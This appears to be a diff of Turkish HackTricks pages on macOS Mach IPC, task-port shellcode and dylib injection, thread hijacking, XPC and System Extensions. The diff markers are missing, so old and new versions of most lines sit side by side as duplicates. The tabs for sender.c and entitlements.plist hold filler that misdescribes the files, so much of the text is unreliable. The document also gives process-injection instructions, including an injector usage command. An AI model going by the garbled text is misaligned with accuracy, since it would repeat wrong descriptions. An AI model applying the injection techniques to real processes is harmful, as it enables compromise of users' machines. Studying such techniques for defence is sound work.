Başlangıç sunucusu, bir görevin iddia ettiği hizmet adını **kimlik doğrulayamaz**. Bu, bir görevin potansiyel olarak **herhangi bir sistem görevini taklit edebileceği** anlamına gelir, örneğin yanlışlıkla **bir yetkilendirme hizmet adını iddia edebilir ve ardından her isteği onaylayabilir**.
Başlangıç sunucusu, bir görevin iddia ettiği hizmet adını doğrulayamaz. Bu, bir **görevin** potansiyel olarak **herhangi bir sistem görevini taklit edebileceği** anlamına gelir, örneğin yanlışlıkla **bir yetkilendirme hizmet adını iddia edebilir ve ardından her isteği onaylayabilir**.
Daha sonra, Apple, **sistem tarafından sağlanan hizmetlerin adlarını** güvenli yapılandırma dosyalarında saklar. Bu dosyalar, **SIP korumalı** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adının yanında, **ilişkili ikili de saklanır**. Başlangıç sunucusu, bu hizmet adları için her biri için bir **ALMA hakkı oluşturur ve saklar**.
Daha sonra, Apple, **sistem tarafından sağlanan hizmetlerin adlarını** güvenli yapılandırma dosyalarında saklar. Bu dosyalar, **SIP korumalı** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adının yanında, **ilişkili ikili dosya da saklanır**. Başlangıç sunucusu, bu hizmet adları için her biri için bir **ALMA hakkı oluşturur ve saklar**.
Bu önceden tanımlanmış hizmetler için, **arama süreci biraz farklıdır**. Bir hizmet adı aranırken, launchd hizmeti dinamik olarak başlatır. Yeni iş akışı şöyle işler:
* Görev **B**, bir hizmet adı için başlangıç **araması başlatır**.
* Görev **B**, bir hizmet adı için bir başlangıç **araması başlatır**.
* **launchd**, görevin çalışıp çalışmadığını kontrol eder ve çalışmıyorsa, **başlatır**.
* Görev **A** (hizmet), bir **başlangıç kontrolü** gerçekleştirir. Burada, **başlangıç sunucusu bir GÖNDERME hakkı oluşturur, saklar ve ALMA hakkını Görev A'ya aktarır**.
* launchd, **GÖNDERME hakkını kopyalar ve Görev B'ye iletir**.
@ -73,7 +74,7 @@ Ancak, bu süreç yalnızca önceden tanımlanmış sistem görevleri için geç
### Bir Mach Mesajı
[Daha fazla bilgi için buraya bakın](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
[Daha fazla bilgi burada bulunabilir](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
`mach_msg` işlevi, temelde bir sistem çağrısı olan Mach mesajlarını göndermek ve almak için kullanılır. İşlev, gönderilecek mesajı ilk argüman olarak gerektirir. Bu mesaj, bir `mach_msg_header_t` yapısı ile başlamalı ve ardından gerçek mesaj içeriği gelmelidir. Yapı aşağıdaki gibi tanımlanmıştır:
```c
@ -86,20 +87,20 @@ mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
İşlemci, bir Mach bağlantı noktasında mesaj alabilen bir _**alma hakkına sahipse**_. Tersine, **gönderenler** bir _**gönderme**_ veya _**bir kez gönderme hakkı**_ verilir. Bir kez gönderme hakkı yalnızca bir mesaj göndermek için kullanılır, ardından geçersiz hale gelir.
İşlemciye sahip olan bir _**alma hakkına**_ sahip olan işlemler, bir Mach bağlantı noktasında mesaj alabilirler. Tersine, **gönderenler** bir _**gönderme**_ veya _**bir kez gönderme hakkı**_ verilir. Bir kez gönderme hakkı yalnızca bir mesaj göndermek için kullanılır, ardından geçersiz hale gelir.
Kolay **iki yönlü iletişim** sağlamak için bir işlem, **yanıt bağlantı noktası** olarak adlandırılan bir Mach **mesaj başlığında bir mach bağlantı noktası** belirtebilir (**`msgh_local_port`**), mesajın **alıcısı** bu mesaja bir yanıt gönderebilir. **`msgh_bits`** içindeki bit bayrakları, bu bağlantı noktası için bir **bir kez gönderme hakkı** türetilip aktarılması gerektiğini **belirtmek** için kullanılabilir (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
Kolay bir **çift yönlü iletişim** sağlamak için bir işlem, **yanıt bağlantı noktasını** (**`msgh_local_port`**) içeren mach **mesaj başlığı** nda bir **mach bağlantı noktası** belirtebilir, böylece mesajın **alıcısı** bu mesaja bir yanıt gönderebilir. **`msgh_bits`** içindeki bit bayrakları, bu bağlantı noktası için bir **bir kez gönderme hakkı** türetilip aktarılması gerektiğini **belirtmek** için kullanılabilir (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
{% hint style="success" %}
Bu tür iki yönlü iletişimin XPC mesajlarında kullanıldığını unutmayın (`xpc_connection_send_message_with_reply` ve `xpc_connection_send_message_with_reply_sync`). Ancak genellikle farklı bağlantı noktaları oluşturmak için önceki açıklamalarda açıklandığı gibi iki yönlü iletişim oluşturulur.
Bu tür çift yönlü iletişimin XPC mesajlarında kullanıldığını unutmayın (`xpc_connection_send_message_with_reply` ve `xpc_connection_send_message_with_reply_sync`). Ancak genellikle çift yönlü iletişimi oluşturmak için önceden açıklanan şekilde **farklı bağlantı noktaları oluşturulur**.
{% endhint %}
Mesaj başlığının diğer alanları şunlardır:
- `msgh_size`: tüm paketin boyutu.
- `msgh_remote_port`: bu mesajın gönderildiği bağlantı noktası.
- `msgh_voucher_port`: [mach fişleri](https://robert.sesek.com/2023/6/mach\_vouchers.html).
- `msgh_id`: bu mesajın kimliği, alıcı tarafından yorumlanır.
* `msgh_size`: tüm paketin boyutu.
* `msgh_remote_port`: bu mesajın gönderildiği bağlantı noktası.
* `msgh_voucher_port`: [mach fişleri](https://robert.sesek.com/2023/6/mach\_vouchers.html).
* `msgh_id`: bu mesajın kimliği, alıcı tarafından yorumlanır.
{% hint style="danger" %}
**Mach mesajlarının bir \_mach bağlantı noktası üzerinden gönderildiğini** unutmayın, bu, mach çekirdeğine yerleştirilmiş **tek alıcı**, **çoklu gönderen** iletişim kanalıdır. **Birden fazla işlem**, bir mach bağlantı noktasına **mesaj gönderebilir**, ancak herhangi bir anda yalnızca **bir işlem** ondan **okuyabilir**.
@ -109,11 +110,9 @@ Mesaj başlığının diğer alanları şunlardır:
```bash
lsmp -p <pid>
```
iOS'ta bu aracı indirerek yükleyebilirsiniz [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
### Kod örneği
**Gönderici**nin nasıl bir bağlantı noktası tahsis ettiğine, `org.darlinghq.example` adı için bir **gönderme hakkı** oluşturduğuna ve bunu **önyükleme sunucusuna** gönderdiğine dikkat edin, gönderici bu ad için **gönderme hakkını** istedi ve bunu kullanarak bir **mesaj gönderdi**.
**Alıcı**nın nasıl bir bağlantı noktası **ayırdığını**, `org.darlinghq.example` adı için bir **gönderme hakkı** oluşturduğunu ve bunu **önyükleme sunucusuna** gönderdiğini, gönderenin ise o ad için **gönderme hakkını** istediğini ve bunu kullanarak bir **mesaj gönderdiğini** görebilirsiniz.
{% tabs %}
{% tab title="receiver.c" %}
@ -184,19 +183,7 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
```
{% endtab %}
{% tab title="sender.c" %}Dosya Açıklaması
----------------
Bu dosya, bir IPC örneği için gönderici uygulamasını içerir. Bu uygulama, bir mesaj oluşturur ve bu mesajı alıcı uygulamasına iletmek için IPC kullanır.
Kod Açıklaması
--------------
Bu bölümde, gönderici uygulamanın kodu bulunmaktadır. Kod, bir mesaj oluşturur ve bu mesajı alıcı uygulamasına göndermek için IPC'yi kullanır. Bu işlem, inter-process communication (IPC) konseptini anlamak için yararlı bir örnektir.
IPC, farklı süreçler arasında veri iletişimini sağlayan bir mekanizmadır. Bu örnekte, IPC kullanılarak gönderici ve alıcı uygulamalar arasında iletişim kurulmaktadır.
Bu dosya, IPC'nin nasıl kullanılabileceğini anlamak için incelenebilir. IPC, macOS ve diğer işletim sistemlerinde yaygın olarak kullanılan bir iletişim yöntemidir. %}
{% tab title="sender.c" %}Dosya gönderme işlemi için kullanılan basit bir örnek. Bu örnek, bir dosyayı alıcıya göndermek için IPC (İşlem Arası İletişim) mekanizmasını kullanır. Bu örnekte, dosya verileri alıcıya gönderilmeden önce belleğe yüklenir ve ardından IPC ile iletilir. Bu işlem, dosya aktarımı sırasında verilerin güvenliğini sağlamak için gerekli olan bazı güvenlik önlemlerini içerir. %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
@ -248,29 +235,29 @@ return 1;
printf("Sent a message\n");
}
```
### Ayrıcalıklı Bağlantı Noktaları
{% endtab %}
{% endtabs %}
- **Ana bağlantı noktası**: Bir işlem bu bağlantı noktası üzerinde **Gönderme** ayrıcalığına sahipse, **sistem** hakkında **bilgi alabilir** (örneğin, `host_processor_info`).
- **Ana ayrıcalıklı bağlantı noktası**: Bu bağlantı noktası üzerinde **Gönderme** hakkına sahip bir işlem, bir çekirdek uzantısını yükleme gibi **ayrıcalıklı işlemler** gerçekleştirebilir. Bu izne sahip olmak için **işlem root olmalıdır**.
- Ayrıca, **`kext_request`** API'sını çağırmak için yalnızca Apple ikili dosyalarına verilen **`com.apple.private.kext*`** gibi diğer ayrıcalıklara ihtiyaç vardır.
- **Görev adı bağlantı noktası**: _Görev bağlantı noktasının_ ayrıcalıksız bir sürümüdür. Görevi referans alır, ancak kontrol etmeye izin vermez. Yalnızca üzerinden `task_info()` işleviyle erişilebilecek şey budur.
- **Görev bağlantı noktası** (ayrıca çekirdek bağlantı noktası olarak da bilinir)**:** Bu bağlantı noktası üzerinde **Gönderme** izniyle görevi kontrol etmek mümkündür (belleği okuma/yazma, iş parçacıkları oluşturma...).
- **Çağıran görev için bu bağlantı noktasının adını almak** için `mach_task_self()` işlevini çağırın. Bu bağlantı noktası yalnızca **`exec()`** işlemi sırasında **miras alınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev bağlantı noktası alır (`exec()` işleminden sonra bir suid ikili dosyada bir görev de yeni bir görev bağlantı noktası alır). Bir görevi başlatmak ve bağlantı noktasını almanın tek yolu, `fork()` işlemi sırasında ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) işlemini gerçekleştirirken yapmaktır.
- Bu bağlantı noktasına erişim kısıtlamaları (binary `AppleMobileFileIntegrity` içinden `macos_task_policy` üzerinden):
- Uygulamanın **`com.apple.security.get-task-allow` ayrıcalığı** varsa, aynı kullanıcıdan işlemler görev bağlantı noktasına erişebilir (genellikle hata ayıklama için Xcode tarafından eklenir). **Notarizasyon** işlemi bunu üretim sürümlerine izin vermez.
- **`com.apple.system-task-ports`** ayrıcalığına sahip uygulamalar, çekirdek hariç olmak üzere herhangi bir işlemin **görev bağlantı noktasını alabilir**. Eski sürümlerde **`task_for_pid-allow`** olarak adlandırılıyordu. Bu yalnızca Apple uygulamalarına verilir.
- **Root**, **sıkılaştırılmış** bir çalışma zamanıyla derlenmemiş uygulamaların görev bağlantı noktalarına erişebilir (ve Apple'dan olmayan uygulamalardan).
### Ayrıcalıklı Portlar
### Görev Bağlantı Noktası Aracılığıyla İş Parçacığına Kabuk Kodu Enjeksiyonu
* **Ana bilgisayar portu**: Bir işlem bu porta **Gönderme** ayrıcalığına sahipse, **sistem** hakkında **bilgi** alabilir (ör. `host_processor_info`).
* **Ana bilgisayar ayrıcalıklı portu**: Bu porta **Gönderme** hakkı olan bir işlem, bir çekirdek uzantısını yükleme gibi **ayrıcalıklı işlemler** gerçekleştirebilir. Bu izne sahip olmak için **işlemin kök kullanıcı olması** gerekir.
* Ayrıca, **`kext_request`** API'sını çağırmak için yalnızca Apple ikili dosyalarına verilen **`com.apple.private.kext*`** gibi diğer ayrıcalıklara ihtiyaç vardır.
* **Görev adı portu:** _Görev portu_ nun ayrıcalıksız bir sürümüdür. Görevi referans alır, ancak kontrol etmeye izin vermez. Yalnızca üzerinden `task_info()` işlevi çağrılabilir gibi görünmektedir.
* **Görev portu** (aka çekirdek portu)**:** Bu porta **Gönderme** izniyle sahip olmak, görevi kontrol etmeyi mümkün kılar (belleği okuma/yazma, iş parçacığı oluşturma...).
* **Çağıran görev için bu portun adını almak** için `mach_task_self()` işlevini çağırın. Bu port yalnızca **`exec()`** işlemi sırasında **miras alınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev portu alır (`exec()` işleminden sonra bir suid ikili dosyada da özel bir durum olarak, bir görev ayrıca yeni bir görev portu alır). Bir görevi başlatmak ve portunu almanın tek yolu, `fork()` işlemi sırasında ["port takası dansını"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) gerçekleştirirken yapmaktır.
* Bu porta erişim kısıtlamaları (binary `AppleMobileFileIntegrity`'den `macos_task_policy`'den):
* Uygulamanın **`com.apple.security.get-task-allow` ayrıcalığı** varsa, aynı kullanıcıdan işlemler görev portuna erişebilir (genellikle hata ayıklama için Xcode tarafından eklenir). **Notarizasyon** işlemi bunu üretim sürümlerine izin vermez.
* **`com.apple.system-task-ports`** ayrıcalığına sahip uygulamalar, çekirdek hariç, herhangi bir işlemin **görev portunu alabilir**. Eski sürümlerde **`task_for_pid-allow`** olarak adlandırılıyordu. Bu yalnızca Apple uygulamalarına verilir.
* **Kök kullanıcı**, **sıkılaştırılmış** bir çalışma zamanı ile derlenmemiş uygulamaların görev portlarına erişebilir (ve Apple'dan olmayanlar).
Kabuk kodunu aşağıdaki yerden alabilirsiniz:
### Görev portu aracılığıyla İş Parçacığına Shellcode Enjeksiyonu
Shellcode'u aşağıdaki yerden alabilirsiniz:
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
{% tabs %}
{% tab title="mysleep.m" %}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
@ -304,21 +291,15 @@ return 0;
{% tab title="entitlements.plist" %}
### macOS IPC (İşlem Arası İletişim)
### IPC (İşlem Arası İletişim)
Bu bölümde, macOS'ta İşlem Arası İletişim (IPC) mekanizmalarını ele alacağız. IPC, uygulamalar arasında iletişim kurmak için kullanılan bir dizi tekniktir ve kötü niyetli aktörlerin saldırıları için bir hedef olabilir. macOS'ta IPC'nin nasıl çalıştığını anlamak, güvenlik açıklarını tespit etmek ve önlem almak için önemlidir. Bu bölümde, macOS IPC'nin temellerini ve güvenlik önlemlerini ele alacağız.
IPC, macOS'ta işlem arası iletişimi sağlamak için kullanılan bir mekanizmadır. Bu, uygulamalar arasında veri ve komut iletişimi sağlar. IPC, güvenlik açıklarına neden olabileceğinden, doğru şekilde yapılandırılmalı ve sınırlanmalıdır.
IPC türleri şunları içerebilir:
IPC türleri arasında XPC ve Mach IPC bulunmaktadır. XPC, Apple tarafından geliştirilen ve uygulamalar arasında iletişim sağlamak için kullanılan bir mekanizmadır. Mach IPC ise daha düşük seviyede işlem arası iletişim sağlar.
- Mach IPC
- XPC
- Distributed Objects
- Apple Events
- Distributed Notifications
Entitlements.plist dosyası, uygulamaların belirli IPC türlerine erişim izinlerini belirlemek için kullanılır. Bu dosya, uygulamanın hangi IPC türlerine erişebileceğini ve hangi sistem kaynaklarına erişebileceğini tanımlar. Doğru şekilde yapılandırılmamış bir entitlements.plist dosyası, uygulamanın güvenlik açıklarına neden olabilir ve ayrıcalık yükseltme saldırılarına yol açabilir.
Bu bölümde, her bir IPC türünü ayrıntılı olarak ele alacağız ve güvenlik önlemleri hakkında ipuçları vereceğiz.
IPC güvenliği, macOS uygulamalarının güvenliğini artırmak için kritik bir öneme sahiptir ve kötü niyetli kullanıcıların veya yazılımın sisteme zarar vermesini engellemeye yardımcı olabilir.
Bu nedenle, IPC mekanizmalarını ve entitlements.plist dosyasını doğru şekilde yapılandırmak, macOS güvenliğini artırmak için önemlidir.
{% endtab %}
```xml
@ -543,11 +524,13 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
macOS'ta **thread'ler**, **Mach** veya **posix `pthread` api** kullanılarak manipüle edilebilir. Önceki enjeksiyonda oluşturduğumuz thread, Mach api kullanılarak oluşturulduğundan **posix uyumlu değil**.
Bir komutu çalıştırmak için **basit bir shellcode enjekte etmek mümkündü** çünkü bu, **posix uyumlu api'lerle çalışmaya gerek duymuyordu**, sadece Mach ile çalışıyordu. **Daha karmaşık enjeksiyonlar** için thread'in aynı zamanda **posix uyumlu olması** gerekir.
Bir komutu çalıştırmak için **basit bir shellcode enjekte etmek mümkündü** çünkü bu, **posix uyumlu** api'lerle çalışmak zorunda değildi, sadece Mach ile çalışıyordu. **Daha karmaşık enjeksiyonlar** için thread'in aynı zamanda **posix uyumlu** olması gerekecektir.
Bu nedenle, **thread'i iyileştirmek** için **`pthread_create_from_mach_thread`** çağrılmalıdır ki bu da **geçerli bir pthread oluşturacaktır**. Sonra, bu yeni pthread, özel kütüphaneleri yüklemek için **dlopen**'ı **çağırabilir**, böylece farklı işlemler gerçekleştirmek için yeni shellcode yazmak yerine özel kütüphaneler yüklemek mümkün olacaktır.
Bu nedenle, **thread'i iyileştirmek** için **`pthread_create_from_mach_thread`** çağrısı yapılmalıdır ki bu da **geçerli bir pthread oluşturacaktır**. Sonra, bu yeni pthread, özel kütüphaneleri yüklemek için **dlopen** çağrısı yapabilir.
Örnek dylib'leri (örneğin bir log oluşturan ve ardından dinleyebileceğiniz bir tane) şurada bulabilirsiniz:
Örneğin, sistemden bir dylib yüklemek için yeni bir shellcode yazmak yerine özel kütüphaneleri yüklemek mümkündür.
Örnek dylib'leri şurada bulabilirsiniz (örneğin bir log oluşturan ve ardından dinleyebileceğiniz bir dylib):
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
@ -832,9 +815,9 @@ fprintf(stderr,"Dylib bulunamadı\n");
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Görev bağlantısı üzerinden İş Parçası Kaçırma <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
### Görev Bağlantısı Aracılığıyla İş Parçacığı Kaçırma <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
Bu teknikte, işlemin bir iş parçası kaçırılır:
Bu teknikte, bir işlemin iş parçacığı kaçırılır:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %}
[macos-thread-injection-via-task-port.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
@ -844,9 +827,9 @@ Bu teknikte, işlemin bir iş parçası kaçırılır:
### Temel Bilgiler
XPC, macOS ve iOS üzerindeki işlemler arasındaki iletişim için bir çerçeve olan XNU (macOS tarafından kullanılan çekirdek) arasındaki İşlem İletişimi anlamına gelir. XPC, sistemin farklı işlemler arasında güvenli, asenkron yöntem çağrıları yapma mekanizması sağlar. Bu, Apple'ın güvenlik paradigmasının bir parçası olup, her bileşenin yalnızca işini yapmak için gereken izinlere sahip olarak çalıştığı ayrıcalıkların ayrıldığı uygulamaların oluşturulmasına izin verir, böylece bir işlemin tehlikeye girmesinden kaynaklanabilecek potansiyel zararı sınırlar.
XPC, macOS ve iOS'ta **işlemler arasındaki iletişim** için bir çerçevedir ve XNU (macOS tarafından kullanılan çekirdek) Arası İşletim Sistemi İletişimi anlamına gelir. XPC, sistemin farklı işlemleri arasında **güvenli, asenkron yöntem çağrıları yapma** mekanizması sağlar. Apple'ın güvenlik paradigmasının bir parçasıdır ve her **bileşenin** sadece işini yapmak için ihtiyaç duyduğu izinlere sahip olarak çalıştığı **ayrıcalıkların ayrıldığı uygulamaların oluşturulmasına** olanak tanır, böylece bir işlem etkilenirse olası zararı sınırlar.
Bu **iletişimin nasıl çalıştığı** ve **neden savunmasız olabileceği** hakkında daha fazla bilgi için kontrol edin:
Bu **iletişimin nasıl çalıştığı** ve **neden savunmasız olabileceği** hakkında daha fazla bilgi için şuraya bakın:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/" %}
[macos-xpc](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/)
@ -854,9 +837,9 @@ Bu **iletişimin nasıl çalıştığı** ve **neden savunmasız olabileceği**
## MIG - Mach Arayüzü Oluşturucusu
MIG, Mach IPC kodu oluşturma sürecini basitleştirmek amacıyla oluşturulmuştur. Temelde, sunucu ve istemcinin belirli bir tanım ile iletişim kurması için gereken kodu oluşturur. Oluşturulan kodun çirkin olması durumunda bile, bir geliştirici sadece bunu içe aktarması ve kodu öncekinden çok daha basit hale getirecektir.
MIG, Mach IPC işlem kodu oluşturma sürecini **basitleştirmek** için oluşturulmuştur. Temelde, sunucu ve istemcinin iletişim kurması için gerekli kodu **oluşturur**. Oluşturulan kodun çirkin olması önemli değildir, geliştirici sadece bunu içe aktarması ve kodu daha öncekinden çok daha basit hale getirecektir.
Daha fazla bilgi için kontrol edin:
Daha fazla bilgi için şuraya bakın:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md" %}
[macos-mig-mach-interface-generator.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
@ -869,17 +852,3 @@ Daha fazla bilgi için kontrol edin:
* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR göndererek **destekleyin**.
</details>

View file

@ -1,22 +1,23 @@
# macOS Sistem Uzantıları
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini edinin**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarını paylaşmak için PR'lar göndererek **HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun.
</details>
{% endhint %}
## Sistem Uzantıları / Uç Nokta Güvenlik Çerçevesi
**Sistem Uzantıları**, Kernel Uzantıları'nın aksine **kullanıcı alanında çalışır**, böylece uzantı arızası nedeniyle sistem çökme riskini azaltır.
Kernel Uzantılarından farklı olarak, **Sistem Uzantıları kernel alanı yerine kullanıcı alanında çalışır**, bu da uzantı arızası nedeniyle sistem çökme riskini azaltır.
<figure><img src="../../../.gitbook/assets/image (606).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
@ -24,27 +25,27 @@ HackTricks'ı desteklemenin diğer yolları:
### **DriverKit Uzantıları**
DriverKit, **donanım desteği sağlayan** kernel uzantılarının yerine geçen bir yapıdır. USB, Seri, NIC ve HID sürücüleri gibi aygıt sürücülerinin kernel alanı yerine kullanıcı alanında çalışmasına izin verir. DriverKit çerçevesi, belirli I/O Kit sınıflarının kullanıcı alanı sürümlerini içerir ve çekirdek, normal I/O Kit olaylarını kullanıcı alanına ileterek bu sürücülerin çalışması için daha güvenli bir ortam sunar.
DriverKit, **donanım desteği sağlayan** kernel uzantılarının yerine geçen bir sistemdir. USB, Seri, NIC ve HID sürücüleri gibi cihaz sürücülerinin kernel alanı yerine kullanıcı alanında çalışmasına izin verir. DriverKit çerçevesi, belirli I/O Kit sınıflarının kullanıcı alanı sürümlerini içerir ve çekirdek, normal I/O Kit olaylarını kullanıcı alanına ileterek bu sürücülerin çalışması için daha güvenli bir ortam sunar.
### **Ağ Uzantıları**
Ağ Uzantıları, ağ davranışlarını özelleştirmeyi sağlar. Birkaç tür Ağ Uzantısı bulunmaktadır:
Ağ Uzantıları, ağ davranışlarını özelleştirmeyi sağlar. Birkaç tür Ağ Uzantısı vardır:
* **Uygulama Proxy**: Bu, bağlantılar (veya akışlar) yerine bireysel paketlere dayalı ağ trafiğini işleyen özel bir VPN istemcisi oluşturmak için kullanılır.
* **Paket Tüneli**: Bu, bireysel paketlere dayalı ağ trafiğini işleyen özel bir VPN istemcisi oluşturmak için kullanılır.
* **Uygulama Proxy**: Bu, bağlantılar (veya akışlar) yerine bireysel paketlere dayalı olarak ağ trafiğini işleyen özel bir VPN istemcisi oluşturmak için kullanılır.
* **Paket Tüneli**: Bu, bireysel paketlere dayalı olarak ağ trafiğini işleyen özel bir VPN istemcisi oluşturmak için kullanılır.
* **Veri Filtresi**: Bu, ağ "akışlarını" filtrelemek için kullanılır. Ağ verilerini akış düzeyinde izleyebilir veya değiştirebilir.
* **Paket Filtresi**: Bu, bireysel ağ paketlerini filtrelemek için kullanılır. Ağ verilerini paket düzeyinde izleyebilir veya değiştirebilir.
* **DNS Proxy**: Bu, özel bir DNS sağlayıcı oluşturmak için kullanılır. DNS isteklerini ve yanıtlarını izlemek veya değiştirmek için kullanılabilir.
* **DNS Proxy**: Bu, özel bir DNS sağlayıcısı oluşturmak için kullanılır. DNS isteklerini ve yanıtlarını izlemek veya değiştirmek için kullanılabilir.
## Uç Nokta Güvenlik Çerçevesi
Uç Nokta Güvenliği, Apple'ın macOS'ta sağladığı bir çerçevedir ve sistem güvenliği için bir dizi API sağlar. **Kötü niyetli faaliyetleri tanımlamak ve korumak için ürünler geliştirmek isteyen güvenlik satıcıları ve geliştiriciler tarafından kullanılması amaçlanmıştır**.
Uç Nokta Güvenliği, Apple'ın macOS'ta sağladığı bir çerçevedir ve sistem güvenliği için bir dizi API sağlar. **Kötü amaçlı faaliyetleri tanımlamak ve korumak için sistem etkinliğini izlemek ve kontrol etmek üzere güvenlik satıcıları ve geliştiriciler tarafından kullanılması amaçlanmıştır**.
Bu çerçeve, işlem yürütmeleri, dosya sistemi olayları, ağ ve çekirdek olayları gibi **sistem etkinliklerini izlemek ve kontrol etmek için bir dizi API sağlar**.
Bu çerçeve, işlem yürütmeleri, dosya sistemi olayları, ağ ve çekirdek olayları gibi **sistem etkinliklerini izlemek ve kontrol etmek için bir dizi API koleksiyonu sağlar**.
Bu çerçevenin çekirdeği, **`/System/Library/Extensions/EndpointSecurity.kext`** konumunda bulunan bir Kernel Uzantısı (KEXT) olarak uygulanmıştır. Bu KEXT'in birkaç temel bileşeni bulunmaktadır:
Bu çerçevenin çekirdeği, **`/System/Library/Extensions/EndpointSecurity.kext`** konumunda bulunan bir Kernel Uzantısı (KEXT) olarak uygulanmıştır. Bu KEXT, birkaç temel bileşenden oluşur:
* **EndpointSecurityDriver**: Bu, çekirdek uzantısının "giriş noktası" olarak hareket eder. İşletim sistemi ile Uç Nokta Güvenlik çerçevesi arasındaki ana etkileşim noktasıdır.
